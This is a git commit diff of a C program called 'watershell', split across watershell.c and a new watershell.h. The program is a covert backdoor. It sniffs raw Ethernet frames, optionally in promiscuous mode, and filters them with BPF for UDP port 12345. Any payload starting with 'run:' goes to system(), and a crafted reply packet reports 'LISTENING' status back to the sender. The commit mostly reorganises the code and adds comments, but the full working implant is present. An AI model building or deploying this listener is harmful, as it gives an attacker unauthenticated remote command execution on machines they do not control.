split into two files, added comments, fixed udp checksums?
This commit is contained in:
jgeigerm
112
watershell.c
112
watershell.c
@@ -15,6 +15,18 @@
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* =====================================================================================
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*/
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/* CUSTOMIZE THESE LINES FOR HARD CODED VALUES */
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#ifndef IFACE
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#define IFACE "eth0"
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#endif
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#ifndef PORT
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#define PORT 12345
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#endif
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#ifndef PROMISC
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#define PROMISC false
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#endif
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/* COMMAND LINE ARGS WILL OVERRIDE THESE */
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#include <net/if.h>
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#include <stdio.h>
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#include <stdlib.h>
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@@ -33,39 +45,9 @@
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#include <netinet/udp.h>
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#include <signal.h>
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#include <stdbool.h>
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#include "watershell.h"
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#define IFACE "eth0"
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#define PORT 12345
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#define PROMISC false
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struct sock_filter bpf_code[] = {
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{ 0x28, 0, 0, 0x0000000c },
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{ 0x15, 0, 6, 0x000086dd },
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{ 0x30, 0, 0, 0x00000014 },
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{ 0x15, 0, 15, 0x00000011 },
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{ 0x28, 0, 0, 0x00000036 },
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{ 0x15, 12, 0, 0x00003039 }, //5
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{ 0x28, 0, 0, 0x00000038 },
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{ 0x15, 10, 11, 0x00003039 }, //7
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{ 0x15, 0, 10, 0x00000800 },
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{ 0x30, 0, 0, 0x00000017 },
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{ 0x15, 0, 8, 0x00000011 },
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{ 0x28, 0, 0, 0x00000014 },
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{ 0x45, 6, 0, 0x00001fff },
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{ 0xb1, 0, 0, 0x0000000e },
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{ 0x48, 0, 0, 0x0000000e },
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{ 0x15, 2, 0, 0x00003039 }, //15
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{ 0x48, 0, 0, 0x00000010 },
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{ 0x15, 0, 1, 0x00003039 }, //17
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{ 0x6, 0, 0, 0x0000ffff },
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{ 0x6, 0, 0, 0x00000000 },
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};
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void send_status(unsigned char *buf, int code);
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void sigint(int signum);
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void ip_checksum(struct iphdr *ip);
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void udp_checksum(struct iphdr *ip, unsigned short *payload);
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//these need to be global so that a sigint can close everything up
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int sockfd;
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struct ifreq *sifreq;
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bool promisc;
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@@ -84,6 +66,7 @@ int main(int argc, char *argv[])
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promisc = PROMISC;
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// command line args
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while ((arg = getopt(argc, argv, "phi:l:")) != -1){
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switch (arg){
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case 'i':
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@@ -112,59 +95,69 @@ int main(int argc, char *argv[])
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}
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}
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// replace the port in the existing filter
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bpf_code[5].k = port;
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bpf_code[7].k = port;
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bpf_code[15].k = port;
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bpf_code[17].k = port;
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/* startup a raw socket, gets raw ethernet frames containing IP packets
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* directly from the interface, none of this AF_INET shit
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*/
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sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP));
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if (sockfd < 0){
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perror("socket");
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return 1;
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}
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/* setup ifreq struct and SIGINT handler
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* make sure we can issue an ioctl to the interface
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*/
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sifreq = malloc(sizeof(struct ifreq));
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signal(SIGINT, sigint);
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strncpy(sifreq->ifr_name, iface, IFNAMSIZ);
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if (ioctl(sockfd, SIOCGIFFLAGS, sifreq) == -1){
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perror("ioctl GIFFLAGS");
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perror("ioctl SIOCGIFFLAGS");
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close(sockfd);
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free(sifreq);
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return 0;
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}
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//set up promisc mode if enabled
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if (promisc){
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sifreq->ifr_flags |= IFF_PROMISC;
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if (ioctl(sockfd, SIOCSIFFLAGS, sifreq) == -1){
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perror("ioctl SIFFLAGS");
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}
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if (ioctl(sockfd, SIOCSIFFLAGS, sifreq) == -1)
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perror("ioctl SIOCSIFFLAGS");
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}
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//apply the packet filter code to the socket
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filter.len = 20;
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filter.filter = bpf_code;
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if (setsockopt(sockfd, SOL_SOCKET, SO_ATTACH_FILTER,
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&filter, sizeof(filter)) < 0){
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&filter, sizeof(filter)) < 0)
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perror("setsockopt");
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}
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//sniff forever!
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for (;;){
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memset(buf, 0, 2048);
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//get a packet, and tear it apart, look for keywords
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n = recvfrom(sockfd, buf, 2048, 0, NULL, NULL);
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ip = (struct iphdr *)(buf + sizeof(struct ethhdr));
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udp = (struct udphdr *)(buf + ip->ihl*4 + sizeof(struct ethhdr));
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udpdata = (char *)((buf + ip->ihl*4 + 8 + sizeof(struct ethhdr)));
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if (*udpdata != 0)
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printf("%s\n", udpdata);
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//run a command if the data is prefixed with run:
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if (!strncmp(udpdata, "run:", 4))
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code = system(udpdata + 4);
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code = system(udpdata + 4); //replace with fork + exec
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//checkup on the service, make sure it is still there
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if(!strncmp(udpdata, "status", 6))
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send_status(buf, code);
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}
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return 0;
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}
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//cleanup on SIGINT
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void sigint(int signum){
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//if promiscuous mode was on, turn it off
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if (promisc){
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if (ioctl(sockfd, SIOCGIFFLAGS, sifreq) == -1){
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perror("ioctl GIFFLAGS");
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@@ -174,18 +167,13 @@ void sigint(int signum){
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perror("ioctl SIFFLAGS");
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}
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}
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//shut it down!
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free(sifreq);
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close(sockfd);
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exit(1);
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}
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struct __attribute__((__packed__)) udpframe {
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struct ethhdr ehdr;
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struct iphdr ip;
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struct udphdr udp;
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unsigned char data[ETH_DATA_LEN - sizeof(struct udphdr) - sizeof(struct iphdr)];
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};
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//send a reply
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void send_status(unsigned char *buf, int code){
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struct udpframe frame;
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struct sockaddr_ll saddrll;
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@@ -194,15 +182,22 @@ void send_status(unsigned char *buf, int code){
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char *prefix = "LISTENING: ";
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char *ccode = (char*)calloc(1, len+1);
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char *data = calloc(1, strlen(prefix)+len+2);
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//setup the data
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snprintf(ccode, len+1, "%d", code);
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strncpy(data, prefix, strlen(prefix));
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strncat(data, ccode, len+1);
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strncat(data, "\n", 1);
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strncpy(frame.data, data, strlen(data));
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//get the ifindex
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memset(&frame, 0, sizeof(frame));
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if (ioctl(sockfd, SIOCGIFINDEX, sifreq) == -1){
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perror("GIFINDEX");
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perror("ioctl SIOCGIFINDEX");
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return;
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}
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//layer 2
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saddrll.sll_family = PF_PACKET;
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saddrll.sll_ifindex = sifreq->ifr_ifindex;
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saddrll.sll_halen = ETH_ALEN;
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@@ -210,6 +205,8 @@ void send_status(unsigned char *buf, int code){
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memcpy((void*)frame.ehdr.h_source, (void*)(((struct ethhdr*)buf)->h_dest), ETH_ALEN);
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memcpy((void*)frame.ehdr.h_dest, (void*)(((struct ethhdr*)buf)->h_source), ETH_ALEN);
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frame.ehdr.h_proto = htons(ETH_P_IP);
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//layer 3
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frame.ip.version = 4;
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frame.ip.ihl = sizeof(frame.ip)/4;
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frame.ip.id = htons(69);
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@@ -220,19 +217,27 @@ void send_status(unsigned char *buf, int code){
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frame.ip.saddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->daddr;
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frame.ip.daddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->saddr;
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frame.ip.protocol = IPPROTO_UDP;
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//layer 4
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frame.udp.source = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->dest;
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frame.udp.dest = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->source;
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frame.udp.len = htons(strlen(data) + sizeof(frame.udp));
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//udp_checksum(&frame.ip, (unsigned short*)&frame.udp);
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//checksums
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udp_checksum(&frame.ip, (unsigned short*)&frame.udp);
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ip_checksum(&frame.ip);
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strncpy(frame.data, data, strlen(data));
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//calculate total length and send
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len = sizeof(struct ethhdr) + sizeof(struct udphdr) + sizeof(struct iphdr) + strlen(data);
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sendto(sockfd, (char*)&frame, len, 0, (struct sockaddr *)&saddrll, sizeof(saddrll));
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//cleanup
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free(ccode);
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free(data);
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}
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//broken?
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/* checksum functions from http://www.roman10.net/how-to-calculate-iptcpudp-checksumpart-2-implementation/ */
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//broken.
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void udp_checksum(struct iphdr *ip, unsigned short *payload){
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register unsigned long sum = 0;
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struct udphdr *udp = (struct udphdr*)payload;
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@@ -255,7 +260,6 @@ void udp_checksum(struct iphdr *ip, unsigned short *payload){
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udp->check = ((unsigned short)sum == 0x0000) ? 0xFFFF : (unsigned short)sum;
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}
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void ip_checksum(struct iphdr *ip){
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unsigned int count = ip->ihl<<2;
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unsigned short *addr = (short*)ip;
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43
watershell.h
Normal file
43
watershell.h
Normal file
@@ -0,0 +1,43 @@
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#ifndef WATERSHELL_H_
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#define WATERSHELL_H_
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/* BPF code generated with tcpdump -dd udp and port 12345
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* used to filter incoming packets at the socket level
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*/
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struct sock_filter bpf_code[] = {
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{ 0x28, 0, 0, 0x0000000c },
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{ 0x15, 0, 6, 0x000086dd },
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{ 0x30, 0, 0, 0x00000014 },
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{ 0x15, 0, 15, 0x00000011 },
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{ 0x28, 0, 0, 0x00000036 },
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{ 0x15, 12, 0, 0x00003039 }, //5
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{ 0x28, 0, 0, 0x00000038 },
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{ 0x15, 10, 11, 0x00003039 }, //7
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{ 0x15, 0, 10, 0x00000800 },
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{ 0x30, 0, 0, 0x00000017 },
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{ 0x15, 0, 8, 0x00000011 },
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{ 0x28, 0, 0, 0x00000014 },
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{ 0x45, 6, 0, 0x00001fff },
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{ 0xb1, 0, 0, 0x0000000e },
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{ 0x48, 0, 0, 0x0000000e },
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{ 0x15, 2, 0, 0x00003039 }, //15
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{ 0x48, 0, 0, 0x00000010 },
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{ 0x15, 0, 1, 0x00003039 }, //17
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{ 0x6, 0, 0, 0x0000ffff },
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{ 0x6, 0, 0, 0x00000000 },
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};
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/* its a datagram inside a packet inside a frame!
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* gotta be packed though!
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*/
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struct __attribute__((__packed__)) udpframe {
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struct ethhdr ehdr;
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struct iphdr ip;
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struct udphdr udp;
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unsigned char data[ETH_DATA_LEN - sizeof(struct udphdr) - sizeof(struct iphdr)];
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};
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void send_status(unsigned char *buf, int code);
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void sigint(int signum);
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void ip_checksum(struct iphdr *ip);
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void udp_checksum(struct iphdr *ip, unsigned short *payload);
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#endif
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